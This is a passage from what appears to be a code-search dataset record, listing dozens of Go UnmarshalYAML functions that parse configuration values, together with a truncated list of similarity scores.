'histogram_bucket_pull' must be defined\\\")\\n\\t}\\n\\treturn nil\\n}\",\n \"func (s *MaporEqualSlice) UnmarshalYAML(unmarshal func(interface{}) error) error {\\n\\tparts, err := unmarshalToStringOrSepMapParts(unmarshal, \\\"=\\\")\\n\\tif err != nil {\\n\\t\\treturn err\\n\\t}\\n\\t*s = parts\\n\\treturn nil\\n}\",\n \"func (i *ImportDefinition) UnmarshalYAML(unmarshal func(interface{}) error) error {\\n\\tvar s string\\n\\n\\tif err := unmarshal(&s); err == nil {\\n\\t\\ti.File = s\\n\\t\\treturn nil\\n\\t}\\n\\tvar str struct {\\n\\t\\tFile string `yaml:\\\"file,omitempty\\\"`\\n\\t\\tRepository string `yaml:\\\"repository,omitempty\\\"`\\n\\t\\tNamespaceURI string `yaml:\\\"namespace_uri,omitempty\\\"`\\n\\t\\tNamespacePrefix string `yaml:\\\"namespace_prefix,omitempty\\\"`\\n\\t}\\n\\tif err := unmarshal(&str); err != nil {\\n\\t\\treturn err\\n\\t}\\n\\ti.File = str.File\\n\\ti.Repository = str.Repository\\n\\ti.NamespaceURI = str.NamespaceURI\\n\\ti.NamespacePrefix = str.NamespacePrefix\\n\\treturn nil\\n}\",\n \"func (s *MaporSpaceSlice) UnmarshalYAML(unmarshal func(interface{}) error) error {\\n\\tparts, err := unmarshalToStringOrSepMapParts(unmarshal, \\\" \\\")\\n\\tif err != nil {\\n\\t\\treturn err\\n\\t}\\n\\t*s = parts\\n\\treturn nil\\n}\",\n \"func (d *DataType) UnmarshalYAML(unmarshal func(interface{}) error) error {\\n\\tvar val string\\n\\tif err := unmarshal(&val); err != nil {\\n\\t\\treturn err\\n\\t}\\n\\treturn d.FromString(val)\\n}\",\n \"func (l *LogLevel) UnmarshalYAML(unmarshal func(interface{}) error) error {\\n\\tvar tp string\\n\\tunmarshal(&tp)\\n\\tlevel, exist := LogLevelMapping[tp]\\n\\tif !exist {\\n\\t\\treturn errors.New(\\\"invalid mode\\\")\\n\\t}\\n\\t*l = level\\n\\treturn nil\\n}\",\n \"func (t *Type) UnmarshalYAML(unmarshal func(interface{}) error) error {\\n\\tvar value string\\n\\tif err := unmarshal(&value); err != nil {\\n\\t\\treturn err\\n\\t}\\n\\n\\tif err := t.Set(value); err != nil {\\n\\t\\treturn fmt.Errorf(\\\"failed to parse '%s' to Type: %v\\\", value, err)\\n\\t}\\n\\n\\treturn nil\\n}\",\n \"func (p *Package) UnmarshalYAML(value *yaml.Node) error {\\n\\tpkg := &Package{}\\n\\tpkg.Present = true // present gets set to true because they wouldn't mention it otherwise\\n\\tvar err error // for use in the switch below\\n\\n\\tlog.Trace().Interface(\\\"Node\\\", value).Msg(\\\"Pkg UnmarshalYAML\\\")\\n\\tif value.Tag != \\\"!!map\\\" {\\n\\t\\treturn fmt.Errorf(\\\"unable to unmarshal yaml: value not map (%s)\\\", value.Tag)\\n\\t}\\n\\n\\tfor i, node := range value.Content {\\n\\t\\tlog.Trace().Interface(\\\"node1\\\", node).Msg(\\\"\\\")\\n\\t\\tswitch node.Value {\\n\\t\\tcase \\\"name\\\":\\n\\t\\t\\tpkg.Name = value.Content[i+1].Value\\n\\t\\t\\tif pkg.Name == \\\"\\\" {\\n\\t\\t\\t\\treturn nil\\n\\t\\t\\t}\\n\\t\\tcase \\\"version\\\":\\n\\t\\t\\tpkg.Version = value.Content[i+1].Value\\n\\t\\tcase \\\"present\\\":\\n\\t\\t\\tpkg.Present, err = strconv.ParseBool(value.Content[i+1].Value)\\n\\t\\t\\tif err != nil {\\n\\t\\t\\t\\tlog.Error().Err(err).Msg(\\\"can't parse installed field\\\")\\n\\t\\t\\t\\treturn err\\n\\t\\t\\t}\\n\\t\\t}\\n\\t}\\n\\n\\tlog.Trace().Interface(\\\"pkg\\\", pkg).Msg(\\\"what's in the box?!?!\\\")\\n\\t*p = *pkg\\n\\n\\treturn nil\\n}\",\n \"func (r *ParseKind) UnmarshalYAML(unmarshal func(v interface{}) error) error {\\n\\tvar s string\\n\\tif err := unmarshal(&s); err != nil {\\n\\t\\treturn fmt.Errorf(\\\"ParseKind should be a string\\\")\\n\\t}\\n\\tv, ok := _ParseKindNameToValue[s]\\n\\tif !ok {\\n\\t\\treturn fmt.Errorf(\\\"invalid ParseKind %q\\\", s)\\n\\t}\\n\\t*r = v\\n\\treturn nil\\n}\",\n \"func (tf *Taskfile) UnmarshalYAML(unmarshal func(interface{}) error) error {\\n\\tif err := unmarshal(&tf.Tasks); err == nil {\\n\\t\\ttf.Version = \\\"1\\\"\\n\\t\\treturn nil\\n\\t}\\n\\n\\tvar taskfile struct {\\n\\t\\tVersion string\\n\\t\\tExpansions int\\n\\t\\tOutput string\\n\\t\\tIncludes yaml.MapSlice\\n\\t\\tVars Vars\\n\\t\\tEnv Vars\\n\\t\\tTasks Tasks\\n\\t}\\n\\tif err := unmarshal(&taskfile); err != nil {\\n\\t\\treturn err\\n\\t}\\n\\ttf.Version = taskfile.Version\\n\\ttf.Expansions = taskfile.Expansions\\n\\ttf.Output = taskfile.Output\\n\\tincludes, defaultInclude, err := IncludesFromYaml(taskfile.Includes)\\n\\tif err != nil {\\n\\t\\treturn err\\n\\t}\\n\\ttf.Includes = includes\\n\\ttf.IncludeDefaults = defaultInclude\\n\\ttf.Vars = taskfile.Vars\\n\\ttf.Env = taskfile.Env\\n\\ttf.Tasks = taskfile.Tasks\\n\\tif tf.Expansions <= 0 {\\n\\t\\ttf.Expansions = 2\\n\\t}\\n\\treturn nil\\n}\",\n \"func (r *repoEntry) UnmarshalYAML(unmarshal func(interface{}) error) error {\\n\\tvar u map[string]string\\n\\tif err := unmarshal(&u); err != nil {\\n\\t\\treturn err\\n\\t}\\n\\tfor k, v := range u {\\n\\t\\tswitch key := strings.ToLower(k); key {\\n\\t\\tcase \\\"name\\\":\\n\\t\\t\\tr.Name = v\\n\\t\\tcase \\\"url\\\":\\n\\t\\t\\tr.URL = v\\n\\t\\tcase \\\"useoauth\\\":\\n\\t\\t\\tr.UseOAuth = strings.ToLower(v) == \\\"true\\\"\\n\\t\\t}\\n\\t}\\n\\tif r.URL == \\\"\\\" {\\n\\t\\treturn fmt.Errorf(\\\"repo entry missing url: %+v\\\", u)\\n\\t}\\n\\treturn nil\\n}\",\n \"func (f *Fixed8) UnmarshalYAML(unmarshal func(interface{}) error) error {\\n\\tvar s string\\n\\terr := unmarshal(&s)\\n\\tif err != nil {\\n\\t\\treturn err\\n\\t}\\n\\treturn f.setFromString(s)\\n}\",\n \"func (r *OAuthFlow) UnmarshalYAML(unmarshal func(interface{}) error) error {\\n\\tobj := make(map[string]interface{})\\n\\tif err := unmarshal(&obj); err != nil {\\n\\t\\treturn errors.WithStack(err)\\n\\t}\\n\\n\\tif value, ok := obj[\\\"authorizationUrl\\\"]; ok {\\n\\t\\tif value, ok := value.(string); ok {\\n\\t\\t\\tr.AuthorizationURL = value\\n\\t\\t}\\n\\t}\\n\\n\\tif value, ok := obj[\\\"tokenUrl\\\"]; ok {\\n\\t\\tif value, ok := value.(string); ok {\\n\\t\\t\\tr.TokenURL = value\\n\\t\\t}\\n\\t}\\n\\n\\tif value, ok := obj[\\\"refreshUrl\\\"]; ok {\\n\\t\\tif value, ok := value.(string); ok {\\n\\t\\t\\tr.RefreshURL = value\\n\\t\\t}\\n\\t}\\n\\n\\tif value, ok := obj[\\\"scopes\\\"]; ok {\\n\\t\\trbytes, err := yaml.Marshal(value)\\n\\t\\tif err != nil {\\n\\t\\t\\treturn errors.WithStack(err)\\n\\t\\t}\\n\\t\\tvalue := map[string]string{}\\n\\t\\tif err := yaml.Unmarshal(rbytes, &value); err != nil {\\n\\t\\t\\treturn errors.WithStack(err)\\n\\t\\t}\\n\\t\\tr.Scopes = value\\n\\t}\\n\\n\\texts := Extensions{}\\n\\tif err := unmarshal(&exts); err != nil {\\n\\t\\treturn errors.WithStack(err)\\n\\t}\\n\\n\\tif len(exts) > 0 {\\n\\t\\tr.Extensions = exts\\n\\t}\\n\\n\\treturn nil\\n}\",\n \"func (s *IPMIConfig) UnmarshalYAML(unmarshal func(interface{}) error) error {\\n\\t*s = defaultConfig\\n\\ttype plain IPMIConfig\\n\\tif err := unmarshal((*plain)(s)); err != nil {\\n\\t\\treturn err\\n\\t}\\n\\tif err := checkOverflow(s.XXX, \\\"modules\\\"); err != nil {\\n\\t\\treturn err\\n\\t}\\n\\tfor _, c := range s.Collectors {\\n\\t\\tif err := c.IsValid(); err != nil {\\n\\t\\t\\treturn err\\n\\t\\t}\\n\\t}\\n\\treturn nil\\n}\",\n \"func (d *Document) UnmarshalYAML(unmarshal func(interface{}) error) error {\\n\\tif err := unmarshal(&d.raw); err != nil {\\n\\t\\treturn err\\n\\t}\\n\\n\\tif err := d.init(); err != nil {\\n\\t\\treturn fmt.Errorf(\\\"verifying YAML data: %s\\\", err)\\n\\t}\\n\\n\\treturn nil\\n}\",\n \"func (i *UOM) UnmarshalYAML(unmarshal func(interface{}) error) error {\\n\\tvar s string\\n\\tif err := unmarshal(&s); err != nil {\\n\\t\\treturn err\\n\\t}\\n\\n\\tvar err error\\n\\t*i, err = UOMString(s)\\n\\treturn err\\n}\",\n \"func (d *duration) UnmarshalYAML(unmashal func(interface{}) error) error {\\n\\tvar s string\\n\\tif err := unmashal(&s); err != nil {\\n\\t\\treturn err\\n\\t}\\n\\tdur, err := time.ParseDuration(s)\\n\\tif err != nil {\\n\\t\\treturn err\\n\\t}\\n\\t*d = duration(dur)\\n\\treturn nil\\n}\",\n \"func (b *brokerOutputList) UnmarshalYAML(unmarshal func(interface{}) error) error {\\n\\tgenericOutputs := []interface{}{}\\n\\tif err := unmarshal(&genericOutputs); err != nil {\\n\\t\\treturn err\\n\\t}\\n\\n\\toutputConfs, err := parseOutputConfsWithDefaults(genericOutputs)\\n\\tif err != nil {\\n\\t\\treturn err\\n\\t}\\n\\n\\t*b = outputConfs\\n\\treturn nil\\n}\",\n \"func (z *Z) UnmarshalYAML(unmarshal func(interface{}) error) error {\\n\\ttype Z struct {\\n\\t\\tS *string `json:\\\"s\\\"`\\n\\t\\tI *int32 `json:\\\"iVal\\\"`\\n\\t}\\n\\tvar dec Z\\n\\tif err := unmarshal(&dec); err != nil {\\n\\t\\treturn err\\n\\t}\\n\\tif dec.S != nil {\\n\\t\\tz.S = *dec.S\\n\\t}\\n\\tif dec.I != nil {\\n\\t\\tz.I = *dec.I\\n\\t}\\n\\treturn nil\\n}\",\n \"func (s *MaporColonSlice) UnmarshalYAML(unmarshal func(interface{}) error) error {\\n\\tparts, err := unmarshalToStringOrSepMapParts(unmarshal, \\\":\\\")\\n\\tif err != nil {\\n\\t\\treturn err\\n\\t}\\n\\t*s = parts\\n\\treturn nil\\n}\",\n \"func (ln *LabelName) UnmarshalYAML(unmarshal func(interface{}) error) error {\\n\\tvar s string\\n\\tif err := unmarshal(&s); err != nil {\\n\\t\\treturn err\\n\\t}\\n\\tif !LabelName(s).IsValid() {\\n\\t\\treturn fmt.Errorf(\\\"%q is not a valid label name\\\", s)\\n\\t}\\n\\t*ln = LabelName(s)\\n\\treturn nil\\n}\",\n \"func (v *LabelSet) UnmarshalYAML(unmarshal func(interface{}) error) error {\\n\\tlbSet := model.LabelSet{}\\n\\terr := unmarshal(&lbSet)\\n\\tif err != nil {\\n\\t\\treturn err\\n\\t}\\n\\tv.LabelSet = lbSet\\n\\treturn nil\\n}\",\n \"func (re *Regexp) UnmarshalYAML(unmarshal func(interface{}) error) error {\\n\\tvar s string\\n\\tif err := unmarshal(&s); err != nil {\\n\\t\\treturn err\\n\\t}\\n\\tr, err := NewRegexp(s)\\n\\tif err != nil {\\n\\t\\treturn err\\n\\t}\\n\\t*re = r\\n\\treturn nil\\n}\",\n \"func (re *Regexp) UnmarshalYAML(unmarshal func(interface{}) error) error {\\n\\tvar s string\\n\\tif err := unmarshal(&s); err != nil {\\n\\t\\treturn err\\n\\t}\\n\\tr, err := NewRegexp(s)\\n\\tif err != nil {\\n\\t\\treturn err\\n\\t}\\n\\t*re = r\\n\\treturn nil\\n}\",\n \"func (moves *Moves) UnmarshalYAML(unmarshal func(interface{}) error) error {\\n\\tvar mvList []string\\n\\tif err := unmarshal(&mvList); err != nil {\\n\\t\\treturn err\\n\\t}\\n\\n\\tparsed, err := ParseMoves(mvList)\\n\\tif err != nil {\\n\\t\\treturn err\\n\\t}\\n\\n\\t*moves = parsed\\n\\treturn nil\\n}\",\n \"func (r *ScalingConfigOrT[_]) UnmarshalYAML(value *yaml.Node) error {\\n\\tif err := value.Decode(&r.ScalingConfig); err != nil {\\n\\t\\tswitch err.(type) {\\n\\t\\tcase *yaml.TypeError:\\n\\t\\t\\tbreak\\n\\t\\tdefault:\\n\\t\\t\\treturn err\\n\\t\\t}\\n\\t}\\n\\n\\tif !r.ScalingConfig.IsEmpty() {\\n\\t\\t// Successfully unmarshalled ScalingConfig fields, return\\n\\t\\treturn nil\\n\\t}\\n\\n\\tif err := value.Decode(&r.Value); err != nil {\\n\\t\\treturn errors.New(`unable to unmarshal into int or composite-style map`)\\n\\t}\\n\\treturn nil\\n}\",\n \"func (e *ExternalJavaPackagePrefixConfigV1) UnmarshalYAML(unmarshal func(interface{}) error) error {\\n\\treturn e.unmarshalWith(unmarshal)\\n}\",\n \"func (v *Int8) UnmarshalYAML(unmarshal func(interface{}) error) error {\\n\\tvar val int8\\n\\tif err := unmarshal(&val); err != nil {\\n\\t\\treturn err\\n\\t}\\n\\tv.Val = val\\n\\tv.IsAssigned = true\\n\\treturn nil\\n}\",\n \"func (m *Manifest) UnmarshalYAML(unmarshal func(interface{}) error) error {\\n\\tvar tmp map[string]interface{}\\n\\tif err := unmarshal(&tmp); err != nil {\\n\\t\\treturn err\\n\\t}\\n\\n\\tdata, err := json.Marshal(tmp)\\n\\tif err != nil {\\n\\t\\treturn err\\n\\t}\\n\\n\\treturn json.Unmarshal(data, m)\\n}\",\n \"func unmarsharlYaml(byteArray []byte) Config {\\n\\tvar cfg Config\\n\\terr := yaml.Unmarshal([]byte(byteArray), &cfg)\\n\\tif err != nil {\\n\\t\\tlog.Fatalf(\\\"error: %v\\\", err)\\n\\t}\\n\\treturn cfg\\n}\",\n \"func (d *Rate) UnmarshalYAML(unmarshal func(interface{}) error) error {\\n\\tvar s string\\n\\tif err := unmarshal(&s); err != nil {\\n\\t\\treturn err\\n\\t}\\n\\trate, err := ParseRate(s)\\n\\tif err != nil {\\n\\t\\treturn err\\n\\t}\\n\\t*d = rate\\n\\treturn nil\\n}\",\n \"func (loglevel *Loglevel) UnmarshalYAML(unmarshal func(interface{}) error) error {\\n\\tvar loglevelString string\\n\\terr := unmarshal(&loglevelString)\\n\\tif err != nil {\\n\\t\\treturn err\\n\\t}\\n\\n\\tloglevelString = strings.ToLower(loglevelString)\\n\\tswitch loglevelString {\\n\\tcase \\\"error\\\", \\\"warn\\\", \\\"info\\\", \\\"debug\\\":\\n\\tdefault:\\n\\t\\treturn fmt.Errorf(\\\"Invalid loglevel %s Must be one of [error, warn, info, debug]\\\", loglevelString)\\n\\t}\\n\\n\\t*loglevel = Loglevel(loglevelString)\\n\\treturn nil\\n}\",\n \"func Unmarshal(y []byte, o interface{}, opts ...JSONOpt) error {\\n\\treturn yamlUnmarshal(y, o, false, opts...)\\n}\",\n \"func (rl *RunList) UnmarshalYAML(unmarshal func(interface{}) error) error {\\n\\tvar runSlice []*Run\\n\\tsliceCandidate := marshal.UnmarshalCandidate{\\n\\t\\tUnmarshal: func() error { return unmarshal(&runSlice) },\\n\\t\\tAssign: func() { *rl = runSlice },\\n\\t}\\n\\n\\tvar runItem *Run\\n\\titemCandidate := marshal.UnmarshalCandidate{\\n\\t\\tUnmarshal: func() error { return unmarshal(&runItem) },\\n\\t\\tAssign: func() { *rl = RunList{runItem} },\\n\\t}\\n\\n\\treturn marshal.UnmarshalOneOf(sliceCandidate, itemCandidate)\\n}\",\n \"func UnmarshalYAML(yml []byte) (map[string]ZNode, error) {\\n\\tvar root map[string]ZNode\\n\\tvar err = yaml.Unmarshal(yml, &root)\\n\\treturn root, err\\n}\",\n \"func (conf *Config) UnmarshalYAML(value *yaml.Node) error {\\n\\ttype confAlias Config\\n\\taliased := confAlias(NewConfig())\\n\\n\\terr := value.Decode(&aliased)\\n\\tif err != nil {\\n\\t\\treturn fmt.Errorf(\\\"line %v: %v\\\", value.Line, err)\\n\\t}\\n\\n\\tvar spec docs.ComponentSpec\\n\\tif aliased.Type, spec, err = docs.GetInferenceCandidateFromYAML(docs.DeprecatedProvider, docs.TypeOutput, value); err != nil {\\n\\t\\treturn fmt.Errorf(\\\"line %v: %w\\\", value.Line, err)\\n\\t}\\n\\n\\tif spec.Plugin {\\n\\t\\tpluginNode, err := docs.GetPluginConfigYAML(aliased.Type, value)\\n\\t\\tif err != nil {\\n\\t\\t\\treturn fmt.Errorf(\\\"line %v: %v\\\", value.Line, err)\\n\\t\\t}\\n\\t\\taliased.Plugin = &pluginNode\\n\\t} else {\\n\\t\\taliased.Plugin = nil\\n\\t}\\n\\n\\t*conf = Config(aliased)\\n\\treturn nil\\n}\",\n \"func (d *Duration) UnmarshalYAML(unmarshal func(interface{}) error) error {\\n\\tvar s string\\n\\tif err := unmarshal(&s); err != nil {\\n\\t\\treturn err\\n\\t}\\n\\tdur, err := ParseDuration(s)\\n\\tif err != nil {\\n\\t\\treturn err\\n\\t}\\n\\t*d = dur\\n\\treturn nil\\n}\",\n \"func (r *HTTPOrBool) UnmarshalYAML(value *yaml.Node) error {\\n\\tif err := value.Decode(&r.HTTP); err != nil {\\n\\t\\tswitch err.(type) {\\n\\t\\tcase *yaml.TypeError:\\n\\t\\t\\tbreak\\n\\t\\tdefault:\\n\\t\\t\\treturn err\\n\\t\\t}\\n\\t}\\n\\n\\tif !r.HTTP.IsEmpty() {\\n\\t\\t// Unmarshalled successfully to r.HTTP, unset r.Enabled, and return.\\n\\t\\tr.Enabled = nil\\n\\t\\t// this assignment lets us treat the main listener rule and additional listener rules equally\\n\\t\\t// because we eliminate the need for TargetContainerCamelCase by assigning its value to TargetContainer.\\n\\t\\tif r.TargetContainerCamelCase != nil && r.Main.TargetContainer == nil {\\n\\t\\t\\tr.Main.TargetContainer = r.TargetContainerCamelCase\\n\\t\\t\\tr.TargetContainerCamelCase = nil\\n\\t\\t}\\n\\t\\treturn nil\\n\\t}\\n\\n\\tif err := value.Decode(&r.Enabled); err != nil {\\n\\t\\treturn errors.New(`cannot marshal \\\"http\\\" field into bool or map`)\\n\\t}\\n\\treturn nil\\n}\",\n \"func (c *OpsGenieConfig) UnmarshalYAML(unmarshal func(interface{}) error) error {\\n\\t*c = DefaultOpsGenieConfig\\n\\ttype plain OpsGenieConfig\\n\\tif err := unmarshal((*plain)(c)); err != nil {\\n\\t\\treturn err\\n\\t}\\n\\tif c.APIKey == \\\"\\\" {\\n\\t\\treturn fmt.Errorf(\\\"missing API key in OpsGenie config\\\")\\n\\t}\\n\\treturn checkOverflow(c.XXX, \\\"opsgenie config\\\")\\n}\",\n \"func (i *ChannelName) UnmarshalYAML(unmarshal func(interface{}) error) error {\\n\\tvar s string\\n\\tif err := unmarshal(&s); err != nil {\\n\\t\\treturn err\\n\\t}\\n\\n\\tvar err error\\n\\t*i, err = ChannelNameString(s)\\n\\treturn err\\n}\",\n \"func (l *TestLimits) UnmarshalYAML(unmarshal func(interface{}) error) error {\\n\\tif defaultTestLimits != nil {\\n\\t\\t*l = *defaultTestLimits\\n\\t}\\n\\ttype plain TestLimits\\n\\treturn unmarshal((*plain)(l))\\n}\",\n \"func (d *Duration) UnmarshalYAML(unmarshal func(interface{}) error) error {\\n\\tvar v interface{}\\n\\terr := unmarshal(&v)\\n\\tif err != nil {\\n\\t\\treturn err\\n\\t}\\n\\td.Duration, err = durationFromInterface(v)\\n\\tif d.Duration < 0 {\\n\\t\\td.Duration *= -1\\n\\t}\\n\\treturn err\\n}\",\n \"func (c *Config) UnmarshalYAML(unmarshal func(interface{}) error) error {\\n\\n\\ttype plain Config\\n\\treturn unmarshal((*plain)(c))\\n}\",\n \"func (c *NamespaceCondition) UnmarshalFromYaml(data []byte) error {\\n\\treturn yaml.Unmarshal(data, c)\\n}\",\n \"func RunYaml(cmd *cobra.Command, args []string) {\\n\\tc := LoadOperatorConf(cmd)\\n\\tp := printers.YAMLPrinter{}\\n\\tutil.Panic(p.PrintObj(c.NS, os.Stdout))\\n\\tutil.Panic(p.PrintObj(c.SA, os.Stdout))\\n\\tutil.Panic(p.PrintObj(c.Role, os.Stdout))\\n\\tutil.Panic(p.PrintObj(c.RoleBinding, os.Stdout))\\n\\tutil.Panic(p.PrintObj(c.SAEndpoint, os.Stdout))\\n\\tutil.Panic(p.PrintObj(c.RoleEndpoint, os.Stdout))\\n\\tutil.Panic(p.PrintObj(c.RoleBindingEndpoint, os.Stdout))\\n\\tutil.Panic(p.PrintObj(c.ClusterRole, os.Stdout))\\n\\tutil.Panic(p.PrintObj(c.ClusterRoleBinding, os.Stdout))\\n\\tnoDeploy, _ := cmd.Flags().GetBool(\\\"no-deploy\\\")\\n\\tif !noDeploy {\\n\\t\\tutil.Panic(p.PrintObj(c.Deployment, os.Stdout))\\n\\t}\\n}\",\n \"func (c *Count) UnmarshalYAML(unmarshal func(interface{}) error) error {\\n\\tif err := unmarshal(&c.AdvancedCount); err != nil {\\n\\t\\tswitch err.(type) {\\n\\t\\tcase *yaml.TypeError:\\n\\t\\t\\tbreak\\n\\t\\tdefault:\\n\\t\\t\\treturn err\\n\\t\\t}\\n\\t}\\n\\n\\tif err := c.AdvancedCount.IsValid(); err != nil {\\n\\t\\treturn err\\n\\t}\\n\\n\\tif !c.AdvancedCount.IsEmpty() {\\n\\t\\t// Successfully unmarshalled AdvancedCount fields, return\\n\\t\\treturn nil\\n\\t}\\n\\n\\tif err := unmarshal(&c.Value); err != nil {\\n\\t\\treturn errUnmarshalCountOpts\\n\\t}\\n\\treturn nil\\n}\",\n \"func (c *Count) UnmarshalYAML(value *yaml.Node) error {\\n\\tif err := value.Decode(&c.AdvancedCount); err != nil {\\n\\t\\tswitch err.(type) {\\n\\t\\tcase *yaml.TypeError:\\n\\t\\t\\tbreak\\n\\t\\tdefault:\\n\\t\\t\\treturn err\\n\\t\\t}\\n\\t}\\n\\n\\tif !c.AdvancedCount.IsEmpty() {\\n\\t\\t// Successfully unmarshalled AdvancedCount fields, return\\n\\t\\treturn nil\\n\\t}\\n\\n\\tif err := value.Decode(&c.Value); err != nil {\\n\\t\\treturn errUnmarshalCountOpts\\n\\t}\\n\\treturn nil\\n}\",\n \"func (c *Scenario) UnmarshalYAML(unmarshal func(interface{}) error) error {\\n\\ttype C Scenario\\n\\tnewConfig := (*C)(c)\\n\\tif err := unmarshal(&newConfig); err != nil {\\n\\t\\treturn err\\n\\t}\\n\\tif c.Database == nil {\\n\\t\\treturn fmt.Errorf(\\\"Database must not be empty\\\")\\n\\t}\\n\\tif c.Collection == nil {\\n\\t\\treturn fmt.Errorf(\\\"Collection must not be empty\\\")\\n\\t}\\n\\tswitch p := c.Parallel; {\\n\\tcase p == nil:\\n\\t\\tc.Parallel = Int(1)\\n\\tcase *p < 1:\\n\\t\\treturn fmt.Errorf(\\\"Parallel must be greater than or equal to 1\\\")\\n\\tdefault:\\n\\t}\\n\\tswitch s := c.BufferSize; {\\n\\tcase s == nil:\\n\\t\\tc.BufferSize = Int(1000)\\n\\tcase *s < 1:\\n\\t\\treturn fmt.Errorf(\\\"BufferSize must be greater than or equal to 1\\\")\\n\\tdefault:\\n\\t}\\n\\tswitch s := c.Repeat; {\\n\\tcase s == nil:\\n\\t\\tc.Repeat = Int(1)\\n\\tcase *s < 0:\\n\\t\\treturn fmt.Errorf(\\\"Repeat must be greater than or equal to 0\\\")\\n\\tdefault:\\n\\t}\\n\\tif len(c.Queries) == 0 {\\n\\t\\treturn fmt.Errorf(\\\"Queries must not be empty\\\")\\n\\t}\\n\\treturn nil\\n}\",\n \"func (gc *GroupConfiguration) UnmarshalYAML(value *yaml.Node) error {\\n\\tif value.Kind != yaml.MappingNode {\\n\\t\\treturn errors.New(\\\"expected mapping\\\")\\n\\t}\\n\\n\\tgc.versions = make(map[string]*VersionConfiguration)\\n\\tvar lastId string\\n\\n\\tfor i, c := range value.Content {\\n\\t\\t// Grab identifiers and loop to handle the associated value\\n\\t\\tif i%2 == 0 {\\n\\t\\t\\tlastId = c.Value\\n\\t\\t\\tcontinue\\n\\t\\t}\\n\\n\\t\\t// Handle nested version metadata\\n\\t\\tif c.Kind == yaml.MappingNode {\\n\\t\\t\\tv := NewVersionConfiguration(lastId)\\n\\t\\t\\terr := c.Decode(&v)\\n\\t\\t\\tif err != nil {\\n\\t\\t\\t\\treturn errors.Wrapf(err, \\\"decoding yaml for %q\\\", lastId)\\n\\t\\t\\t}\\n\\n\\t\\t\\tgc.addVersion(lastId, v)\\n\\t\\t\\tcontinue\\n\\t\\t}\\n\\n\\t\\t// $payloadType: \\n\\t\\tif strings.EqualFold(lastId, payloadTypeTag) && c.Kind == yaml.ScalarNode {\\n\\t\\t\\tswitch strings.ToLower(c.Value) {\\n\\t\\t\\tcase string(OmitEmptyProperties):\\n\\t\\t\\t\\tgc.PayloadType.Set(OmitEmptyProperties)\\n\\t\\t\\tcase string(ExplicitCollections):\\n\\t\\t\\t\\tgc.PayloadType.Set(ExplicitCollections)\\n\\t\\t\\tcase string(ExplicitProperties):\\n\\t\\t\\t\\tgc.PayloadType.Set(ExplicitProperties)\\n\\t\\t\\tdefault:\\n\\t\\t\\t\\treturn errors.Errorf(\\\"unknown %s value: %s.\\\", payloadTypeTag, c.Value)\\n\\t\\t\\t}\\n\\n\\t\\t\\tcontinue\\n\\t\\t}\\n\\n\\t\\t// No handler for this value, return an error\\n\\t\\treturn errors.Errorf(\\n\\t\\t\\t\\\"group configuration, unexpected yaml value %s: %s (line %d col %d)\\\", lastId, c.Value, c.Line, c.Column)\\n\\t}\\n\\n\\treturn nil\\n}\",\n \"func (date *Date) UnmarshalYAML(value *yaml.Node) (err error) {\\n\\tvar d string\\n\\tif err = value.Decode(&d); err != nil {\\n\\t\\treturn err\\n\\t}\\n\\t// check data format\\n\\tif err := checkDateFormat(d); err != nil {\\n\\t\\treturn err\\n\\t}\\n\\n\\t*date = Date(d)\\n\\treturn nil\\n}\",\n \"func (m *BootstrapMode) UnmarshalYAML(unmarshal func(interface{}) error) error {\\n\\tvar str string\\n\\tif err := unmarshal(&str); err != nil {\\n\\t\\treturn err\\n\\t}\\n\\n\\t// If unspecified, use default mode.\\n\\tif str == \\\"\\\" {\\n\\t\\t*m = DefaultBootstrapMode\\n\\t\\treturn nil\\n\\t}\\n\\n\\tfor _, valid := range validBootstrapModes {\\n\\t\\tif str == valid.String() {\\n\\t\\t\\t*m = valid\\n\\t\\t\\treturn nil\\n\\t\\t}\\n\\t}\\n\\treturn fmt.Errorf(\\\"invalid BootstrapMode '%s' valid types are: %s\\\",\\n\\t\\tstr, validBootstrapModes)\\n}\",\n \"func (c *Config) UnmarshalYAML(unmarshal func(interface{}) error) error {\\n\\ttype raw Config\\n\\tvar cfg raw\\n\\tif c.URL.URL != nil {\\n\\t\\t// we used flags to set that value, which already has sane default.\\n\\t\\tcfg = raw(*c)\\n\\t} else {\\n\\t\\t// force sane defaults.\\n\\t\\tcfg = raw{\\n\\t\\t\\tBackoffConfig: util.BackoffConfig{\\n\\t\\t\\t\\tMaxBackoff: 5 * time.Second,\\n\\t\\t\\t\\tMaxRetries: 5,\\n\\t\\t\\t\\tMinBackoff: 100 * time.Millisecond,\\n\\t\\t\\t},\\n\\t\\t\\tBatchSize: 100 * 1024,\\n\\t\\t\\tBatchWait: 1 * time.Second,\\n\\t\\t\\tTimeout: 10 * time.Second,\\n\\t\\t}\\n\\t}\\n\\n\\tif err := unmarshal(&cfg); err != nil {\\n\\t\\treturn err\\n\\t}\\n\\n\\t*c = Config(cfg)\\n\\treturn nil\\n}\",\n \"func (c *NodeSelectorCondition) UnmarshalFromYaml(data []byte) error {\\n\\treturn yaml.Unmarshal(data, c)\\n}\"\n]"},"negative_scores":{"kind":"list like","value":["0.73864573","0.73274785","0.7163474","0.71021444","0.7006515","0.69783133","0.6936093","0.6851522","0.6827298","0.6824854","0.6752507","0.6741919","0.6741919","0.6733541","0.6698918","0.6693369","0.667845","0.6660146","0.6655898","0.6630511","0.6605015","0.6594566","0.658278","0.65805","0.6573003","0.65647495","0.65452474","0.65405744","0.65233505","0.6489791","0.6479213","0.6457237","0.6455163","0.6454465","0.64503586","0.64302856","0.64251494","0.64128405","0.64115673","0.64022815","0.6381866","0.63762254","0.63733727","0.637139","0.63653857","0.633227","0.6327555","0.6315321","0.63047385","0.63001287","0.6298107","0.62961984","0.62893903","0.6270783","0.62637717","0.6260668","0.62389094","0.62191695","0.62182707","0.6217084","0.6214952","0.6205181","0.62049055","0.62021387","0.6192464","0.61864865","0.6183731","0.61798656","0.616852","0.6164975","0.6164975","0.6158465","0.6153548","0.6139383","0.6126508","0.6106662","0.6104605","0.6097517","0.60810417","0.607884","0.60667056","0.6061715","0.6052034","0.60490096","0.60441506","0.6035884","0.6031201","0.6030181","0.60273147","0.60148984","0.60100806","0.60099506","0.60044026","0.6002691","0.59948903","0.5993206","0.59931594","0.5987295","0.5980696","0.5979161"],"string":"[\n \"0.73864573\",\n \"0.73274785\",\n \"0.7163474\",\n \"0.71021444\",\n \"0.7006515\",\n \"0.69783133\",\n \"0.6936093\",\n \"0.6851522\",\n \"0.6827298\",\n \"0.6824854\",\n \"0.6752507\",\n \"0.6741919\",\n \"0.6741919\",\n \"0.6733541\",\n \"0.6698918\",\n \"0.6693369\",\n \"0.667845\",\n \"0.6660146\",\n 